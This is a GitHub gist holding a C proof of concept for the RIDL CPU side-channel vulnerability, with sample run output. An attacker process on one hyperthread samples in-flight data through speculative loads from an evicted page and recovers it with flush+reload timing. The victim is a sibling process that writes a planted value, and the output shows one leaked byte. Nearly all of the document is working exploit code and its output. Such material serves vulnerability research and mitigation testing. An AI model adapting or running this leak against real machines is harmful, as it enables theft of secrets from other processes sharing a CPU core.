Created
February 4, 2021 15:36
-
-
Save LevitatingLion/39fcc5eb3307e1565baf311067883378 to your computer and use it in GitHub Desktop.
PoC for RIDL
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <sched.h> | |
#include <signal.h> | |
#include <stdalign.h> | |
#include <stdbool.h> | |
#include <stddef.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/user.h> | |
#include <unistd.h> | |
// ADJUST THESE TO YOUR MACHINE | |
#define HYPERTHREAD_1 2 | |
#define HYPERTHREAD_2 6 | |
#define CACHE_MISS_TIME 130 | |
#define ASSERT(cond) \ | |
do { \ | |
if (!(cond)) { \ | |
fprintf(stderr, "Assertion %s failed\n", #cond); \ | |
exit(EXIT_FAILURE); \ | |
} \ | |
} while (0) | |
typedef struct { | |
alignas(PAGE_SIZE) uint8_t data[PAGE_SIZE]; | |
} page_t; | |
static void mem_access(const void *ptr) { | |
*(volatile uintptr_t *)ptr; | |
} | |
static uint64_t cyclecount_access_flush(const void *ptr) { | |
__builtin_ia32_mfence(); | |
__builtin_ia32_lfence(); | |
uint64_t start = __builtin_ia32_rdtsc(); | |
__builtin_ia32_lfence(); | |
mem_access(ptr); | |
uint32_t unused; | |
uint64_t end = __builtin_ia32_rdtscp(&unused); | |
__builtin_ia32_lfence(); | |
__builtin_ia32_clflush(ptr); | |
__builtin_ia32_lfence(); | |
return end - start; | |
} | |
static void bind_to_cpu(int cpu) { | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(cpu, &set); | |
ASSERT(sched_setaffinity(0, sizeof set, &set) == 0); | |
} | |
static page_t *mmap_pages(size_t count) { | |
void *page = mmap(NULL, | |
PAGE_SIZE * count, | |
PROT_READ | PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, | |
-1, | |
0); | |
ASSERT(page != MAP_FAILED); | |
return page; | |
} | |
static void mmap_evict(page_t *pages, size_t count) { | |
ASSERT(madvise(pages, count * PAGE_SIZE, MADV_DONTNEED) == 0); | |
} | |
static void victim(void) { | |
bind_to_cpu(HYPERTHREAD_1); | |
volatile uintptr_t *secret = (void *)mmap_pages(1); | |
for (;;) { | |
*secret = 0x41424344; | |
__builtin_ia32_mfence(); | |
} | |
} | |
static void attacker(void) { | |
bind_to_cpu(HYPERTHREAD_2); | |
size_t hits[256] = {0}; | |
page_t *probe_arr = mmap_pages(256); | |
memset(probe_arr, 0, 256 * PAGE_SIZE); | |
page_t *unmapped = mmap_pages(1); | |
for (size_t run = 0; run < 100000; run++) { | |
mmap_evict(unmapped, 1); | |
mem_access(probe_arr + ((volatile uint8_t *)unmapped)[0]); | |
__builtin_ia32_lfence(); | |
for (size_t i = 0; i < 256; i++) { | |
size_t k = (i + 5 * run) % 256; | |
if (cyclecount_access_flush(probe_arr + k) < CACHE_MISS_TIME) | |
hits[k]++; | |
} | |
} | |
for (size_t i = 0; i < 256; i++) | |
if (hits[i] > 10) | |
printf("0x%02lx: %zu\n", i, hits[i]); | |
} | |
int main(void) { | |
pid_t p = fork(); | |
ASSERT(p != -1); | |
if (p) { | |
// parent | |
attacker(); | |
ASSERT(kill(p, SIGTERM) == 0); | |
} else { | |
// child | |
victim(); | |
} | |
} | |
/* | |
$ clang -Wall -Wextra -O3 -o ridl ridl.c | |
$ time ./ridl | |
0x00: 99901 | |
0x44: 2050 | |
./ridl 5.19s user 0.13s system 99% cpu 5.327 total | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment